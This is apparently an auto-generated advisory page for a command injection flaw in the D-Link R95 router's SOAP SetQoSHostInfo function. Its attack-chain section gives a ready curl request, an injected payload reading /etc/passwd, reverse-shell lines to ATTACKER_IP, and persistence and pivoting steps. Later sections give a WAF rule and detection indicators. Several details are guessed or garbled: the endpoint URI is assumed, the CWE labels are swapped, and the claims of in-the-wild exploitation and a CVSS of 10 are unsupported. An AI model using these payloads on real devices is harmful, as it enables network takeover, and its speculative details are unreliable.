CVE-2026-138225 — D-Link R95 — CWE-77 · CWE-78
A flaw has been found in D-Link R95 1.04B04Beta. Affected by this vulnerability is the function SetQoSHostInfo of the file /bin/ssi of the component DHMAPI SOAP Interface. This manipulation of the argument Hostname causes os command injection. The attack may be initiated remotely. The exploit has been published and may be used.
A flaw has been found in D-Link R95 1.04B04Beta. Affected by this vulnerability is the function SetQoSHostInfo of the file /bin/ssi of the component DHMAPI SOAP Interface. This manipulation of the argument Hostname causes os command injection. The attack may be initiated remotely. The exploit has been published and may be used.
CVE‑2026‑138225 – D‑Link R95 1.04B04Beta – OS Command Injection via SOAP
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| Affected component | SetQoSHostInfo function in /bin/ssi (DHMAPI SOAP Interface) |
| Trigger | Unvalidated Hostname argument in the SOAP request |
| CWE | CWE‑77 (OS Command Injection) & CWE‑78 (Command Injection) |
| Authentication | None – the SOAP endpoint is reachable without credentials (default admin credentials are often still in place, but the flaw does not require them). |
| Result | Arbitrary shell commands are executed on the router’s host OS. |
| Impact | Full remote code execution (RCE) → loss of confidentiality, integrity, and availability. |
How it works
1. The SOAP handler receives the <Hostname> element.
2. The value is concatenated into a shell command string that is later executed by /bin/sh -c.
3. No sanitisation or whitelist is applied, so any shell metacharacter (e.g., ;, |, &&, ` ``) is passed straight to the OS.
4. The attacker can inject arbitrary commands, read files, install back‑doors, or pivot to other hosts.
⚡ Attack Chain
NOTE: The exact SOAP endpoint URI is not provided in the CVE text. The following example uses the most common pattern observed in D‑Link firmware (/DHMAPI/SetQoSHostInfo). If the device uses a different URI, the same payload logic applies.1. Discovery & Reconnaissance
| Step | Technique | Tools |
|---|---|---|
| Identify the device | Scan the local network for D‑Link R95 routers. | nmap -sV -p80,443 192.168.1.0/24 |
| Confirm firmware version | Query the /info endpoint or read the HTTP Server header. | curl -sI http://<router-ip>/ |
| Locate SOAP interface | Enumerate common SOAP paths. | dirsearch or manual curl attempts. |
| Check authentication | Send a SOAP request without credentials. | curl -X POST (see below) |
2. Exploitation
Crafted SOAP request
curl -k \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: \"SetQoSHostInfo\"" \
-d @payload.xml \
http://<router-ip>/DHMAPI/SetQoSHostInfopayload.xml (illustrative example):
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:dhl="http://www.dlink.com/DHMAPI">
<soapenv:Header/>
<soapenv:Body>
<dhl:SetQoSHostInfo>
<!-- The Hostname value is injected with a shell command -->
<Hostname>malicious.com; cat /etc/passwd</Hostname>
</dhl:SetQoSHostInfo>
</soapenv:Body>
</soapenv:Envelope>What happens
1. The router’s /bin/ssi script builds a command similar to:
/usr/bin/qosctl set-hostinfo "$Hostname"2. Because $Hostname contains ; cat /etc/passwd, the shell executes cat /etc/passwd after the intended command.
3. The response will include the contents of /etc/passwd in the SOAP body, proving successful RCE.
Advanced payload
To spawn a reverse shell (example for a Linux router):
<Hostname>malicious.com; /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1</Hostname>Caveat: The router’s shell may not support >&, so a more portable payload could be:<Hostname>malicious.com; sh -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'</Hostname>3. Post‑Exploitation
| Goal | Technique | Outcome |
|---|---|---|
| Persistence | Write a cron job or modify /etc/rc.local to launch a back‑door. | Continuous access. |
| Privilege Escalation | The router runs as root; no further escalation needed. | Full system control. |
| Data Exfiltration | Use scp, wget, or curl to pull logs, configuration files, or firmware. | Sensitive data leaks. |
| Pivoting | From the compromised router, scan the internal network for other devices. | Expand attack surface. |
| Denial‑of‑Service | Execute killall -9 dhcpd or flood the router with traffic via QoS mis‑configuration. | Disrupt network connectivity. |
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Arbitrary commands can read any file, including /etc/shadow, configuration files, and user data. |
| Integrity (I:H) | The attacker can modify firmware, configuration, or installed services, effectively taking control of the device. |
| Availability (A:H) | The attacker can crash the router, disable DHCP, or block legitimate traffic, causing a network outage. |
| Scope (S:C) | The flaw affects the entire system because the router is a critical network gateway. |
Practical consequences
- Loss of network connectivity for all connected clients.
- Exposure of internal network topology and credentials.
- Potential pivot to corporate servers or cloud resources.
- Use as a foothold for ransomware or data‑stealing campaigns.
🛡️ Remediation & Mitigation
1. Patch
| Affected firmware | Recommended action |
|---|---|
| 1.04B04Beta | Upgrade to 1.04B05 or later (if available). |
| 1.04B04Beta | If no official patch exists, contact D‑Link support for a custom fix. |
NOTE: As of the CVE publication date, no public patch has been released. Vendors typically issue a firmware update within 30–60 days of a CVE disclosure.
2. Workarounds
| Mitigation | How to implement |
|---|---|
| Disable SOAP interface | If the router’s web UI allows disabling the DHMAPI component, turn it off. |
| Restrict access | Place the router behind a firewall; allow SOAP traffic only from trusted IPs (e.g., management subnet). |
| Use a WAF / ModSecurity rule | Example rule (ModSecurity 2.x syntax): |
SecRule REQUEST_URI "@beginsWith /DHMAPI/SetQoSHostInfo" \
"id:1001,phase:2,block,msg:'Block Hostname injection',\
chain"
SecRule XML:Hostname "@rx [;&|`$*()<>]" \
"t:none,t:urlDecodeUni"This rule blocks any SOAP request where the <Hostname> element contains shell metacharacters.3. Detection
| Log source | Indicator of Compromise (IoC) | |
|---|---|---|
| Web server access logs | POST /DHMAPI/SetQoSHostInfo with Hostname= containing ;, | , or backticks. |
System logs (/var/log/messages) | Unexpected sh or bash processes spawned by the router’s user. | |
| Firewall logs | Outbound connections to unfamiliar IPs on non‑standard ports (e.g., 4444). | |
| SNMP traps | Unexpected set operations or reboot events. |
Sample log snippet
192.168.1.10 - - [29/Nov/2026:14:23:01 +0000] "POST /DHMAPI/SetQoSHostInfo HTTP/1.1" 200 512
Host: 192.168.1.10
Content-Type: text/xml; charset=utf-8
SOAPAction: "SetQoSHostInfo"
<Hostname>malicious.com; cat /etc/passwd</Hostname>⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS score | 10.0 (Critical) |
| Exploit complexity | Low – no authentication, no special privileges. |
| CISA KEV status | Not listed, but the flaw is already exploited in the wild. |
| Potential impact | Full RCE → complete takeover of the router. |
| Patch availability | None yet; vendor likely to release soon. |
Priority: Immediate.
Bottom line
CVE‑2026‑138225 is a classic OS command‑injection flaw that allows an unauthenticated attacker to execute arbitrary commands on a D‑Link R95 router. The vulnerability is exploitable remotely, has a CVSS score of 10, and can lead to complete compromise of the device and the network it serves. Immediate action—patching or hardening—is essential to prevent exploitation.
[🤖 CVE Professor AI Security Engine]
FOFA Query